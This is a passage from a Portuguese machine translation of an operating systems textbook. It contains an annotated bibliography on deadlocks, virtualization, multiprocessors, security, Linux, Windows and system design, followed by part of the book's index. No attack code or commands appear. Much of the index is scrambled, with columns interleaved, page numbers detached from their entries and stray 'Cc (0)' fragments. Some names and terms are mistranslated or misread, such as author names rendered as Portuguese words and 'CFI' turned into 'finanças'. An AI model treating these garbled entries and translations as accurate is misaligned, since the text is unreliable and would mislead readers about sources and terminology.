toque se tornaram onipresentes em um curto espaço de tempo. Este artigo traça a história da tela 
sensível ao toque através da história com explicações fáceis de entender e belas fotos e vídeos antigos. 
Coisas fascinantes! 


Walker e Cragon, "Processamento de interrupção em processadores simultâneos” 
Implementar interrupções precisas em computadores superescalares é uma atividade desafiadora. 


O truque é serializar o estado e fazer isso rapidamente. Uma série de questões de design e compensações 
são discutidas aqui. 


13.1.6 Impasses 


Coffman et al., " Impasses do Sistema " 
Uma breve introdução aos impasses, suas causas e como podem ser evitados ou detectados. 


Holt, "Some Deadlock Properties of Computer Systems" Uma discussão 
sobre impasses. Holt apresenta um modelo de gráfico direcionado que pode ser 
usado para analisar algumas situações de impasse. 
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Isloor e Marsland, "O problema do impasse: uma visão geral" 
Um tutorial sobre deadlocks, com ênfase especial em sistemas de banco de dados. Uma variedade 
de modelos e algoritmos são abordados. 


Levine, "Definindo Impasse” No Cap. 

No capítulo 6 deste livro, nos concentramos nos impasses de recursos e quase não abordamos 
outros tipos. Este breve artigo aponta que na literatura várias definições têm sido utilizadas, diferindo de 
maneira sutil. O autor então analisa a comunicação, o agendamento e os impasses intercalados e 
apresenta um novo modelo que tenta cobrir todos eles. 


Shub, "Um tratamento unificado de impasse” 
Este breve tutorial resume as causas e soluções para impasses e sugestões 
indica o que enfatizar ao ensiná-lo aos alunos. 


13.1.7 Virtualização e Nuvem 


Portnoy, "Fundamentos de Virtualização” 
Uma introdução suave à virtualização. Abrange o contexto (incluindo a relação entre virtualização 
e nuvem) e abrange uma variedade de soluções (com um pouco mais de ênfase em VMware). 


Randal, "O Ideal Versus o Real: Revisitando a História das Máquinas Virtuais e Contêineres" Muitas 
vezes as máquinas 

virtuais são retratadas como oferecendo melhor segurança. Este documento de pesquisa cataloga 
os principais desenvolvimentos na evolução de máquinas virtuais e contêineres desde a década de 
1950 até hoje e corrige vários equívocos comuns sobre eles com detalhes históricos. 


Erl et al., "Computação em Nuvem: Conceitos, Tecnologia e Arquitetura” 

Um livro dedicado à computação em nuvem em um sentido amplo. Os autores explicam 
detalhadamente o que está escondido por trás de siglas como IAAS, PAAS, SAAS e membros 
semelhantes da família "X" As A Service. 


Rosenblum e Garfinkel, "Monitores de máquinas virtuais: tecnologia atual e tendências futuras" 
Começando com 

um histórico de monitores de máquinas virtuais, este artigo discute o estado atual da virtualização 
de CPU, memória e E/S. Abrange áreas problemáticas relacionadas a todos os três e como o hardware 
futuro pode aliviar os problemas. 


Whitaker et al., "Repensando o Design de Monitores de Máquinas Virtuais" 
A maioria dos computadores possui alguns aspectos bizarros e difíceis de virtualizar. Neste artigo, 
os autores do sistema Denali defendem a paravirtualização, ou seja, 
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alterar os sistemas operacionais convidados para evitar o uso de recursos bizarros para que 
não precisem ser emulados. 


13.1.8 Sistemas de múltiplos processadores 


Singh et al., "Jupiter Rising: A Decade of Clos Topologies and Centralized Control in Google's 
Datacenter Network" 

Dimensionar a computação e a comunicação para a escala de grandes datacenters e além 
é muito desafiador. Como fazer isso, você pode ouvir (ou melhor: ler) da boca do cavalo neste 
artigo dos engenheiros do Google, onde eles descrevem a estrutura do datacenter de Júpiter. 


Dreslinski et al., "Centip3De: A Many-Core Prototype Exploring 3D Integration and Near- 
Threshold Computing" Em uma única 

CPU, as coisas também estão acontecendo rapidamente. Nesta história deslumbrante, os 
autores explicam como podemos expandir muitos núcleos indo além das duas dimensões. 


Dubois et al., "Synchronization, Coherence, and Event Ordering in Multiprocessors" Um tutorial 
sobre 

sincronização em sistemas multiprocessadores de memória compartilhada. No entanto, 
algumas das ideias são igualmente aplicáveis a sistemas de processador único e de memória 
distribuída. 


Nowatzki et al., Microprocessadores heterogêneos de Von Neumann/Dataflow 

Enquanto muitos chips multicore usados em computadores desktop eram simétricos (todos 
os núcleos são idênticos), diversas arquiteturas modernas buscam a heterogeneidade: 
diferentes núcleos agrupados no mesmo chip. Neste artigo, os autores explicam que pode ser 
benéfico empacotar núcleos de natureza completamente diferente na mesma matriz. 


Beaumont et al., "Programação de dois tipos de recursos: uma pesquisa" 

É claro que ter diferentes tipos de recursos também cria problemas adicionais para os 
escalonadores. Esta pesquisa apresenta diferentes técnicas de escalonamento para lidar com 
essas arquiteturas heterogêneas. 


13.1.9 Segurança 


Anderson, Engenharia de Segurança, 3º Ed. 

Um livro maravilhoso que explica muito claramente como construir sistemas confiáveis e 
seguros por um dos pesquisadores mais conhecidos da área. Esta não é apenas uma visão 
fascinante de muitos aspectos da segurança (incluindo técnicas, aplicações e questões 
organizacionais), mas também está disponível gratuitamente online. Não há desculpa para 
não ler. 
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Burow et al., "Integridade de fluxo de controle: precisão, segurança e desempenho" 

Desde a introdução como resultado de pesquisa em 2005, o CFI gradualmente ganhou terreno e a maioria 
das estruturas de compiladores modernas agora oferece suporte de uma forma ou de outra. 
Isto aponta imediatamente para um problema: existem muitas formas diferentes de finanças. Este artigo 
examina as diferentes abordagens. 


Jover, "Análise de segurança de SMS como segundo fator de autenticação" 

Explicamos como vários fatores podem ser usados para fornecer autenticação. 
Frequentemente, os provedores de serviços optam por usar mensagens de texto SMS como segundo fator. 
Este artigo mostra que fazer isso geralmente traz muitos problemas de segurança. 


Bratus et al., "From Buffer Overflows to Weird Machines and Theory of Comput." Conectando o humilde buffer 
overflow a Alan Turing. Os autores mostram que os hackers programam programas vulneráveis como 
máquinas estranhas com conjuntos de instruções de aparência estranha. Ao fazer isso, eles completam o 


círculo da pesquisa seminal de Turing sobre “O que é computável?” 


Greenberg, Sandworm Um 

relato fascinante de um ataque cibernético devastador à NAT O, às empresas de serviços públicos 
americanas e às redes elétricas na Europa, onde o ataque parecia ter origem na Rússia. A história parece um 
filme de espionagem da época da Guerra Fria. 


Hafner e Markoff, Cyberpunk Três histórias 
convincentes de jovens hackers invadindo computadores em todo o mundo são contadas aqui pelo 
repórter de informática do New York Times que divulgou a história do worm na Internet (Markoff). 


Sasse, " Red-Eye Blink, Bendy Shuffle e o fator Yuck: uma experiência do usuário de 
Sistemas Biométricos Aeroportuários" 
O autor discute suas experiências com o sistema de reconhecimento de íris utilizado em uma 


número de grandes aeroportos. Nem todos eles são positivos. 


Xiong e Szefer, "Pesquisa de ataques de execução transitórios e suas mitigações” As novas vulnerabilidades 
no hardware, como exemplificadas por Spectre e Meltdown, causam grande sofrimento tanto para os 

sistemas operacionais quanto para os usuários. Nesta pesquisa, os autores fornecem uma visão geral dos 

diferentes ataques e mitigações relacionadas a esta fascinante (e ainda nova) classe de vulnerabilidades. 


13.1.10 Estudo de caso 1: UNIX, Linux e Android 


Bovet e Cesati, Compreendendo o Kernel Linux 
A comunidade Linux é muito encorajadora para os recém-chegados que querem colocar a mão na massa 


nas entranhas do kernel e há tutoriais e blogs úteis 
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em todos os lugares. Infelizmente, os livros que explicam o código em detalhes são bastante escassos e 
muitos deles são um pouco antigos e pertencem a versões anteriores do kernel. Mesmo assim, este livro 

em particular está repleto de informações que são tão relevantes hoje quanto eram quando foi escrito e 
ainda é provavelmente a melhor discussão geral sobre o kernel do Linux. Abrange processos, gerenciamento 
de memória, sistemas de arquivos, sinais e muito mais. 


Billimoria, Linux Kernel Programming — Um guia completo para os internos do kernel, escrita de módulos 
do kernel e sincronização do kernel Se você está procurando um livro 

mais atualizado para aprender a programar nos kernels 5.x, esta pode ser uma compra útil. Você 
aprenderá sobre os módulos do kernel Linux, gerenciamento de memória, agendador e sincronização. 


ISO/IEC, Tecnologia da Informação — Interface de Sistema Operacional Portátil (POSIX), 
Parte 1: Interface de Programa de Aplicativo do Sistema (API) [Linguagem C] 

Este é o padrão. Algumas partes são bastante legíveis, especialmente o Anexo B, “Fundamentação e 
Notas”, que muitas vezes esclarece por que as coisas são feitas como são. Uma vantagem de consultar o 
documento de padrões é que, por definição, não há erros. Se um erro tipográfico no nome de uma macro 
passar pelo processo de edição, não será mais um erro, será oficial. 


Fusco, a caixa de ferramentas do programador Linux 

Este livro descreve como usar o Linux para o usuário intermediário, aquele que conhece o básico e 
deseja começar a explorar como funcionam os vários programas Linux. 
Destina-se a programadores C. 


Maxwell, Linux Core Kernel Commentary As primeiras 

400 páginas deste livro contêm um subconjunto do código do kernel Linux. As últimas 150 páginas 
consistem em comentários sobre o código, bem no estilo do livro clássico de John Lions. Se você quiser 
entender o kernel do Linux em todos os seus detalhes sangrentos, este é o lugar para começar, mas esteja 
avisado: ler 40.000 linhas de C não é para todos. 


13.1.11 Estudo de caso 2: Windows 


Reitor e recém-chegado, Programação Win32 Se você 

está procurando um daqueles livros de 1.500 páginas que fornecem um resumo de como escrever 
programas para Windows, este não é um mau começo. Abrange janelas, dispositivos, saída gráfica, entrada 
de teclado e mouse, impressão, gerenciamento de memória, bibliotecas e sincronização, entre muitos 
outros tópicos. Requer conhecimento de C ou C++. 
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Russinovich e Solomon, Windows Internals, Parte 1 
Se você quiser aprender como usar o Windows, existem centenas de livros por aí. Se 
você quer saber como o Windows funciona por dentro, esta é sua melhor aposta. Abrange 


numerosos algoritmos internos e estruturas de dados, com consideráveis detalhes técnicos. 
Nenhum outro livro chega perto. 


13.1.12 Projeto do Sistema Operacional 


Saltzer e Kaashoek, Princípios de design de sistemas de computador: uma introdução 

Este livro analisa os sistemas de computador em geral, e não os sistemas operacionais 
em si, mas os princípios que eles identificam também se aplicam aos sistemas operacionais. 
O que é interessante neste trabalho é que ele identifica cuidadosamente “as ideias que 
funcionaram”, como nomes, sistemas de arquivos, coerência de leitura e gravação, 
mensagens autenticadas e confidenciais, etc. o mundo deveria recitar todos os dias, antes 
de ir trabalhar. 


Brooks, The Mythical Man Month: Ensaios sobre Engenharia de Software 
Fred Brooks foi um dos designers do 05/360 da IBM. Ele aprendeu da maneira mais 
difícil o que funciona e o que não funciona. O conselho dado neste livro espirituoso, divertido 


e informativo é tão válido agora como era há um quarto de século, quando ele o escreveu 
pela primeira vez. 


Cooke et al., "UNIX e além: uma entrevista com Ken Thompson" 

Projetar um sistema operacional é muito mais uma arte do que uma ciência. Por isso, 
ouvir especialistas na área é uma boa forma de aprender sobre o assunto. 
Eles não são muito mais especialistas do que Ken Thompson, co-designer do UNIX, Inferno 
e Plan 9. Nesta ampla entrevista, Thompson dá sua opinião sobre de onde viemos e para 
onde estamos indo no campo. 


Corbato”, "On Building Systems That Will Fail" Em 

sua palestra no Prêmio Turing, o pai do timesharing aborda muitas das mesmas 
preocupações que Brooks aborda em The Mythical Man-Month. A sua conclusão é que 
todos os sistemas complexos acabarão por falhar e que, para ter alguma hipótese de 
sucesso, é absolutamente essencial evitar a complexidade e esforçar-se pela simplicidade e 
elegância no design. 


Lampson, "Hints for Computer System Design" Butler 

Lampson, um dos principais designers mundiais de sistemas operacionais inovadores, 
reuniu muitas dicas, sugestões e orientações de seus anos de experiência e as reuniu neste 
artigo divertido e informativo. Assim como o livro de Brooks, esta é uma leitura obrigatória 
para todo aspirante a designer de sistema operacional. 
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Wirth, "Um apelo por software enxuto" 

Outro clássico. Niklaus Wirth, um famoso e experiente designer de sistemas, 
defende aqui o software enxuto e médio com base em alguns conceitos simples, 
em vez da bagunça inchada que é grande parte do software comercial. Ele mostra seu ponto 
discutindo seu sistema Oberon, um sistema operacional baseado em GUI orientado a rede 
que cabe em 200 KB, incluindo o compilador Oberon e editor de texto. 
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Software de relógio, 391-394 
Carrapato do relógio, 391 
Clonar chamada de sistema, 734, 735, 736, 1059 
Fechar chamada do sistema, 54, 269, 761, 771, 785, 786 
Fechar chamada Win32, 982, 985 
Chamada de sistema Closedir, 277 
Nuvem, 479, 501-507 
Computação em nuvem, 14 
Nuvens como serviço, 502-503 
Computador clusterizado, 558 
Cluster de estações de trabalho, 558 
Tamanho do cluster, 325 
Memória CMOS, 27 
CMP (ver Chip MultiProcessadores) 


CMS (ver Sistema de Monitoramento Conversacional) 
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Co-agendamento, 555 
Verificação de integridade de código e dados, 689 
Proteção de integridade de código, Windows, 1030 
Revisão de código, 680 
Assinatura de código, 692 
Ataque de injeção de código, 652 
Ataque de reutilização de código, 653-655 
Parede de coerência, 539 
Colosso, 8 
COM (veja Modelo de Objeto Componente) 
Intérprete de comandos, 40, 46 
Ataque de injeção de comando, 666-667 
Confirmar cobrança, Windows, 959 
Limite de confirmação, Windows, 958 
Página confirmada, Windows, 958 
Critérios comuns, 908 
Arquitetura comum do corretor de solicitação de objeto, 595 
Impasse de comunicação, 465—466 
Software de comunicação, multicomputador 562- 
564, nível de usuário 562-570, 
565-568 
Comparar e trocar, Windows, 897 
Comparação de modelos de rosqueamento, 118 
Documento de definição de compatibilidade, 794 
Sistema de compartilhamento de tempo compatível, 13, 1046 
Sincronização de competição, 465 
Executável portátil híbrido compilado, 953 
Agendador completamente justo, 739 
Agendamento completamente justo, 166 
Princípio da completude, 1046-1047 
Modelo de objeto componente, 892 
Compactação, arquivo, 321, 998-999 
Compressão e desduplicação, 321 
Processo vinculado à computação, 154 
Variável de condição, 141 
Janelas, 939 
Computação confidencial, 688 
Confidencialidade, 608 
Gerenciador de configuração, Windows, 908 
Problema de confinamento, 669 
Conectar chamada do sistema, 760 
Modo de espera conectado, Windows, 1002 
Serviço orientado a conexão, 585 
Serviço sem conexão, 585 
Consistência, sistema de arquivos, 312-315 
Tempo constante, 674 
Recipiente, 73, 480, 504 
Hiper-V, 1015-1016 
Linux, 814, 818, 821 


Contendo danos à segurança, Windows, 1031-1032 
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Compartilhamento de página baseado em conteúdo, 501 Algoritmo de hash criptográfico, 635 
Registro de contexto, Windows, 944 Chave criptográfica, 632 
Mudança de contexto, 28, 154 Criptografia, 616, 632-636 assinatura 
Alocação de arquivos contíguos, 280-282 digital, 635-636 chave pública, 634- 
Protetor de fluxo de controle, Windows, 1028 635 chave secreta, 633- 
Objeto de controle, 901 634 chave simétrica, 633- 
Programa de controle para microcomputadores, 16 634 
Tecnologia de aplicação de fluxo de controle, 1026 CS (veja Espera Conectada) 
Integridade do fluxo de controle, 683 CTSS (consulte Sistema de compartilhamento de tempo compatível) 
Restrição de fluxo de controle, 683-685 Interconexão de cubo, 559 
Controlando o acesso aos recursos, 618-628 CUDA, 540 
Sistema de monitor de conversação, 70 Matriz de alocação atual, 452 
Modo cozido, 398 Diretório atual, 275 
Middleware baseado em coordenação, 595-598 Prioridade atual, Windows, 945 
Copiar na gravação, 54, 90, 229 Hora virtual atual, 216 
Linux, 732, 754 Cutler, David, 17, 874, 894, 905 
Windows, máquina Guerra cibernética, 615 
virtual 960, 501, 504 Roubo de bicicleta, 346 
Chamada Win32 do CopyFile, 889 Cilindro, 28 
CORBA (consulte Common Object Request Broker Inclinação do cilindro, 372 
Arquitetura) 
Corbato, Fernando, 1046 
Núcleo, 24, 537 D 
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COW (ver Cluster de estações de trabalho) DACL (consulte ACL discricionária) 
COW (veja cópia na gravação) Daemon, 89, 369, 724 
CP-40, 480 Linux, 
CP-67, 480 impressora 724, 119 
CP/CMS, 480 DAG (ver gráfico acíclico direcionado) 
CP/M (ver Programa de Controle para Microcomputadores) Dalvik, Android, 796, 798, 802, 807, 809 
CPset, 506 Executável Dalvik, 807 
Biscoito, 614 Ponteiro pendurado, 648 
Recuperação de falhas com armazenamento estável, 382-385 Darwin, Carlos, 47 
Criar chamada de sistema, 269, 277, 770, 771, 772, 774, 785 Confidencialidade dos dados, 608 
Criar chamada Win32, 985 Prevenção de execução de dados, 652—653, 653 
Chamada CreateEvent Win32, 921, 922 Janelas, 1027 
Chamada CreateFile Win32, 889, 922, 924, 1022 Paradigma de dados, 1050-1051 
Chamada Win32 CreateFileMapping, 962 Taxa de dados para dispositivos, 339 
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Proteção de credenciais, Windows, 1025 DAX (consulte Acesso direto para arquivos) 
Região crítica, 121 DDA (consulte Atribuição de dispositivos discretos) 
Seção crítica, 121 Impasse, comunicação 
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Daemon Cron, 724 introdução 445, 
Interruptor de barra transversal, 532 algoritmo de avestruz 444- 
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vários tipos de recursos, 451—454 tipo único de 
recurso, 449-451 

Modelagem de impasse, 445—447 
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Fluxo de dados padrão, sistema de arquivos NT, 994 
Defesa em profundidade, Windows, 1031 
Chamada de procedimento adiada, Windows, 901-903 
Desfragmentando um disco, 320-321 
Grau de multiprogramação, 96 
Excluir chamada do sistema, 269, 277 
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Controlador de dispositivo, 338, 338-340 

Domínio do dispositivo, 499-500 

Driver de dispositivo, 30, 359-362, 984 
modo de usuário, 342 
Janelas, 910 

Independência do dispositivo, 352 

E/S de dispositivo, Hyper-V, 1007-1010 
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Objeto de dispositivo, 886 
Passagem do dispositivo, 499 
Pilha de dispositivos, Windows, 910, 987-989 
Bitmap independente de dispositivo, 416 
Tamanho de bloco independente de dispositivo, 368 
Software de entrada/saída independente de dispositivo, 362-368 
DEX (ver executável Dalvik) 
DFSS (consulte Programação Dinâmica de Fair-Share) 
Diâmetro, interconexão, 559 
DIB (consulte Bitmap independente de dispositivo) 
Morrer, chip, 537 
Pesquisa Digital, 16 
Gestão de direitos digitais, 896 
Assinatura digital, 635-636 
Problema dos filósofos do jantar, 440-444 
Acesso direto ao arquivo, 764 
Mapa direto, Windows, 1009 
Interface de mídia direta, 34 
Acesso direto à memória, 32, 344-347, 356-357 
remoto, 564-565 
Gráfico acíclico direcionado, 288 
Diretório, 42, 264, 272-278 
Hierarquia de diretório, 591 
Chamadas do sistema de gerenciamento de diretório, 58-59, 277 
Operação de diretório, 277-278 
Sistema de diretório, hierárquico, 273-274 
nível único, 272-273 
Multiprocessador baseado em diretório, 535 
Parte suja, 199 
Desativando interrupções, 121—123 
Discoteca, 480, 507 
Atribuição de dispositivo discreto, Hyper-V, 1008 
Controle de acesso discricionário, 629 
Disco magnético, 370-381 
Algoritmo de agendamento de braço de disco, 375-379 
Tamanho do bloco de disco, 302-303 
Blocos de disco, gerenciamento gratuito, 303-306 
Cache do controlador de disco, 378 
Desfragmentação de disco, 320-321 
Driver de disco, 4 
Tratamento de erros de disco, 379-381 
Formatação de disco, 372-375 
Sistema operacional de disco, 16 
Cota de disco, 306-307 
Recalibração de disco, 380-381 
Agendamento de disco, algoritmo de 
elevador 376-377, 377 ordem 
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primeiro, 376 
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Dispatcher, 100 
Dispatcher header, 904 
Dispatcher object, 901, 904 Windows, 
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operacional distribuído, 18 Memória 
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indireto duplo, 328, 781 Disco intercalado 
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1077 Chamada Win32 inativa, 938, 945 
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procedimento adiada ) 
Tempestade DPC, 
902 DPC watchdog, 902 
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886 Assinatura de driver, 
689 Verificador de driver, 
985 Interface driver-kernel, 
762 DSM (consulte Memória 
compartilhada distribuída ) 
Tecnologia de uso duplo, 615 
Dump, sistema de arquivos, 307-312 
chamada DuplicateHandle Win32, 938 
Tradução binária dinâmica, 512 Disco 
dinâmico, Windows, 980 Agendamento 
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escape 339, sequência de 
escape 400, servidor ESX 
402, Ethernet 521-523, 582- 
583 Evento, Windows, 
938 Paradigma orientado a 
eventos, 1049, 1065 Paradigma de programação 
orientado a eventos, 116 Servidor orientado a eventos, 
116-118 Evolução do VMware 
Workstation, 520-521 Exemplos de sistemas de arquivos, 
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Executável, Windows, 76 
Paradigma de execução, 1049-1050 
Camada executiva, Windows, 894, 905-909 
Chamada de sistema Execve, 54, 90 
EXEs (consulte Executável, Windows) 
Sistema de arquivos ExFAT, 262 
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Sair da chamada do sistema, 54, 728 
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Explorações, Windows, 1027-1031 
Explorando hardware, 668-679 
Explorando localidade, 1077 
Explorando software, 647-668 
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Windows, 889 Metadados 
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Tamanho do bloco do sistema de arquivos, 302-303 
Cache do sistema de arquivos, 315-318 
Chamadas do sistema de arquivos, Linux, 770-774 
Despejo do sistema de arquivos, 308-312 
Desempenho do sistema de arquivos, cache, compactação 
315-318, desduplicação 
321, desfragmentação de 
disco 322, leitura antecipada 320-321, 318- 
319 redução do movimento 
do braço, 319-320 
Leitura antecipada do sistema de arquivos, 318-319 
Segurança do sistema de arquivos, 322-323 
Estrutura do sistema de arquivos, Windows, 991—994 
Tipo de arquivo, 264-266 
Middleware baseado em arquivo, 590-594 
Semântica de compartilhamento de arquivos, 593-594 
Backup do sistema de arquivos, 307-312 
Consistência do sistema de arquivos, 312-315 
Driver de filtro do sistema de arquivos, 910 
Implementação de sistema de arquivos, 278-301 
Layout do sistema de arquivos, 278-280 
Gerenciamento e otimização do sistema de arquivos, 301-323 
Desempenho do sistema de arquivos, 315-320 
Filtro, Linux, 717 
Driver de filtro, Windows, 910, 987 
Randomização refinada, 682-683 
Máquina de estado finito, 116 
Firmware, 911 
Primeiro algoritmo de gerenciamento de memória ajustado, 190 
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Chamada do sistema Fstat, 773 
Chamada de sistema Fsync, 757 
FTL (veja Camada de Tradução Flash) 
Virtualização total, 484 
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Fundamentos de segurança, 607-618 
Futex, 135-136 
Fuzzer, 615, 1026 


G 


Dispositivo 
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Unidade de processamento gráfico de uso geral, 540 
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Chamada de sistema Get-acl, 625 
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Goldberg, Roberto, 480 
Google e Android, 794 
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nterligação à rede, 559 

Grupo, segurança, 623 

dentificação do grupo, 41 
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iniciado pelo remetente, 577-578 
Controle de carga na paginação, 224-225 
Módulo carregável, Linux, 765 Rede 
local, 581 Substituição de página 
local, 221-224 Chamada de procedimento 
local, 884, 908 Paginação local versus 
global, 221-224 Localidade de referência, 
214 Transparência de local, 591— 
592 Bloqueio, sistema de arquivos, 769 
Bloqueio de chamada de 
sistema, 775 Bloqueio de 
variável, 123 Bloqueio e- 
proteção de memória de chave, 183-184 Sistema de 
arquivos estruturado em log, 290-292 Bomba 
lógica, 679 
Endereçamento de bloco lógico, 372 
Dump lógico, 310 
Processador lógico, Hyper-V, 1005 Login, 
Linux, 742-743 Falsificação de 
login, 681 Sistema de 
pesquisa chamada, 785 
LookUpAccountSid chamada Win32, 1022 Sistema 
fracamente acoplado, 529 Lord Byron, 
8 Agendamento de 
loteria, 166-167 Lovelace, Ada, 7 
Software de 
comunicação de baixo nível, 562-564 Formato de disco de 
baixo nível, 372-375 LP ( consulte Lógico 
processadores) 
LPC (ver Chamada de Procedimento Local) 
LRU (veja alg. de substituição de página menos usada recentemente) 
Chamada de sistema Lseek, 54, 734, 735, 772, 1047 LSI 
(consulte Integração em larga escala) 
Lukasiewicz, J., 412 


Endereço físico da máquina, 495 
Simulador de máquina, 72 
macOS, 1,4, 14,17 

Macro, 75 

Personagem mágico, 717 
Número mágico, 265 


Disco magnético, 370-381 


Machine Translated by Google 


1136 ÍNDICE 


Caixa de correio, 

146 Mailslot, Windows, 937 

Mainframe, 8 

Sistema operacional Mainframe, 36-37 Dispositivo 
principal, 758 Número do 

dispositivo principal, 364 Falha de 

página principal, 203 Tornando 

código de thread único multithread, 113-116 Malware, 607, 615, 647, 912, 
1034-1035 Gerenciando memória livre, 188-192 Controle 
de acesso obrigatório, 629 Chip Manycore, 538- 

540 Sistema de arquivos de mapa, 42 

Arquivo mapeado, 232 Thread de 

escritor de página mapeada, 

Windows, 971 

MapViewOfFile Chamada Win32, 1009 Maroocky Shire 
derramamento de esgoto, 616-617 Marshaling, 
parâmetro, 569 Marshalling, 815 Armazenamento em 
massa, 370-390 Registro mestre de 

inicialização, 35, 278- 

279, 375, 741 Tabela de arquivos 

mestre, Windows, 991, 994-998 Mauchley, William, 8 MBR 


(consulte Master Registro de inicialização) 


MDAG (consulte Microsoft Defender Application Guard) 
MDLs (consulte Listas de Descritores de Memória) 
Inicialização medida, 913 
Mecanismo, 68 
Mecanismo vs. política, 1057-1058 Ataque 
Meltdown, 676, 928 Chamada de 
sistema Mem, 749 Memória, 
24-28 livres, 188-192 
Alocação de 
memória, Linux, 752-753 Mecanismo de alocação 
de memória, 752 —753 Barreira de memória, 149 
Compactação de memória, 
187 Compactação de memória, 
Windows, 973-976 Lista de descritores de memória, 
Windows, 986 Limite de memória, 149 Hierarquia de 
memória, 179 Gerenciamento 
de memória, 179-250 bitmap, 
189 implementação, 232-240 implementação 
em Linux, 
implementação 748-754 no Windows, 
lista vinculada 962-973, 190-191 Linux, 
sobreposições 743-757, 192 Windows, 955-979 


Algoritmo de gerenciamento de memória 
melhor ajuste, 
191 primeiro 
ajuste, 190 
próximo ajuste, 
190 ajuste rápido, 191 pior ajuste, 191 
Chamadas do sistema de gerenciamento de memória no Linux, 746-748 
Unidade de gerenciamento de memória, 28, 193 
E/S, 498-499 
Gerenciador de memória, 179 
Windows, 907 
Arquivo mapeado de memória, 232 
Partição de memória, Windows, 976 Pressão 
de memória, Windows, 969 Proteção de 
memória chave, 695 Extensão de 
marcação de memória, 1026 Virtualização de 
memória, 493-497 Chamadas de sistema de 
gerenciamento de memória, Win32, 961-962 Arquivo mapeado em 
memória, 746 E/S mapeada em 
memória, 340-344 Entrada/saída mapeada 
em memória, 341 Mesh , 559 Passagem de 
mensagens, 
145-148 Problemas de design de 
passagem de mensagens, 
145-146 interface, 148 
Metadados, 267, 
arquivo 267 Método, 410, 595 
Unidades métricas, 80- 
81 MFT (consulte Tabela 
de arquivos mestre ) 
Mickey, 401 
Microarquitetura, 21 
Microcomputador, 15 
Sistema operacional Microkernel, 66-68 Microkernel 
vs. hipervisor, 490-493 Sistema cliente-servidor 
baseado em Microkernel, 1056 Microprogramação, 48 Microsoft, 
16-18, 408 Microsoft Azure, 506 
Aplicativo defensor da Microsoft 
guard, 1016 sistema operacional 
de disco Microsoft, 16, 261-262, 871-873, 1045 sistema de 
arquivos, 324-327 Microvm, 1009 Middleware, 581-598 baseado 
em coordenação, 
595-598 baseado em 
documento, 588-590 
baseado em arquivo , 590-594 
baseado em objeto, 594-595 publicar/ 
assinar, 598-598 


Machine Translated by Google 


ÍNDICE 


Migração ao 
vivo, 
máquina virtual 504, 503-504 
Chip de Milão, 539 
Processo mínimo, Windows, 943 
Miniporto, 910 
MINIX 3, 15, 63-68, 342, 612, 709-712, sistema de arquivos 
1047, 766, 776 
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42, 50, 65, 243-247, 1046 
Multiprocessador, 86, 530-557 
baseado em barramento, 
530-531 crossbar, 532- 
533 líder-seguidor, 543 
rede ômega, 533-535 rede de 
comutação, 533-535 simétrico, 544 


Hardware multiprocessador, 530-545 
Sistema operacional multiprocessador, 541-545 
Agendamento de multiprocessador, 550-557 
Sincronização de multiprocessador, 545-548 
Multiprogramação, 12, 86, 95-97 
Multifila, 563 
Sistema operacional multiservidor, 612 
Rede de comutação multiestágio, 533 
Código multithread, 113-116 
Multithreading, 24, 102 
simultâneos, 541 
Tela multitoque, 418 
Chamada do sistema Munmap, 747 
Lei de Murphy, 120 
Mutante, Windows, 905 
Mutex, 134-138, 938 threads, 
136 
Chamada de sistema Mutex trylock, 741 
Multiprocessador, espionagem, 538 
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Nomenclatura, 1059-1061 Notificar chamada do sistema, 1047 
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Bela chamada de sistema, 737 

Sem abstração de memória, 180-183 

Sem bala de prata, 1082 

Descritor de nó, 750 

Comunicação nó-rede, 564 amada de API do Windows NtDuplicateObject, 885 

Chamada sem bloqueio, 566 hamada de API do Windows NtFlushBuffersFile, 984 

TFS (consulte Sistema de arquivos NT) 


amada de API do Windows NtFsControlFile, 984, 1000 


Rede sem bloqueio, 532 
Modo não canônico, 398 


amada de API do Windows NtMapViewOfSection, 885 
amada de API do Windows NtNotifyChangeDirectoryFile, 983, 999 
TOS, 900 


Recurso não preemptivo, 438 
Agendamento não preemptivo, 156 
Não repudiabilidade, 609 

rograma NTOS, 880 

amada de API do Windows NtQueryDirectoryFile, 982 


Atributo não residente, sistema de arquivos NT, 993 
Multiprocessador de acesso à memória não uniforme, 530-537 
amada de API do Windows NtQueryInformationFile, 983 
amada de API do Windows NtReadFile, 920, 982 


Memória não volátil expressa, 381 
RAM não volátil, 385 
hamada de API do Windows NtReadVirtualMemory, 885 
amada de API do Windows NtResumeThread, 936, 943 
amada de API do Windows NtSetlnformationFile, 983 
amada de API do Windows NtSetVolumelnformationFile, 983 209-210 
amada de API do Windows NtUnLockFile, 984 


Armazenamento não volátil, 28-29 
Não trenó, 650 
Algoritmo de substituição de página pouco usado, 212 


Algoritmo de substituição de página não usado recentemente, 


(0) 
Cc 
(0) 
Cc 
(0) 
Cc 
(0) 
Cc 
Cc 
Cc 
N 
(0) 
Ataque de desvio de fluxo sem controle, 656-657 Chamada de API do Windows NtLockFile, 984 
Cc 
(0) 
N 
P 
Cc 
Cc 
(0) 
Cc 
(0) 
Cc 
(0) 
Cc 
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Chamada de API do Windows NtWriteFile, 920, 982 
Chamada de API do Windows NtWriteVirtualMemory, 885 
Ataque de desreferência de ponteiro nulo, 664-665 
NUMA (consulte Acesso não uniforme à memória) 
Multiprocessador NUMA, 535-537 

Nvidia, 540 

NVMe (consulte Memória Não Volátil Express) 

Bit NX, 652 


r 


(0) 


O (1) agendador, 737 
Chamada ObCreateObjecttype Win32, 924 
Objeto, 594 

ACL, 622 
Cache de objetos, 753 
Arquivo de objeto, 76 
Alça de objeto, 885 

Janelas, 917-919 
Gerenciador de objetos, 886, 906 
Implementação do gerenciador de objetos, Windows, 914-926 
Namespace do objeto, Windows, 919-922 
Corretor de solicitação de objeto, 595 
Tipo de objeto, Windows, 923-926 
Middleware baseado em objeto, 594-595 
Chamada Win32 ObOpenObjectBy Name, 923 
Rede Omega, 533-534 
Modo único, relógio, 391 
Senha única, 642-643 
Função unidirecional, 626 
Cadeia de hash unidirecional, 642 
Onecore, 878 
A ontogenia recapitula a filogenia, 47-50 
OOM (veja o assassino Out Of Memory) 
Pesquisa de sistema operacional, 78-79 
Chamada de sistema aberto, 54, 269, 758, 771, 775, 777, 785, 

786, 789 

Abra a chamada Win32, 982 
Tabela de descrição de arquivo aberto, 780 
Chamada de sistema Opendir, 269, 277 
OpenGL, 540 
Chamada OpenSemaphore Win32, 917 
Chamada OpenXXX Win32, 1023 
Sistema operacional 

Android, caracterização 

793-863, 4-7 cliente- 

servidor, 68-69 iluminado, 

1003 exokernel, 73-74 
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Sistema operacional (continuação) 
quinta geração, 19-20 primeira 
geração, 8 quarta 
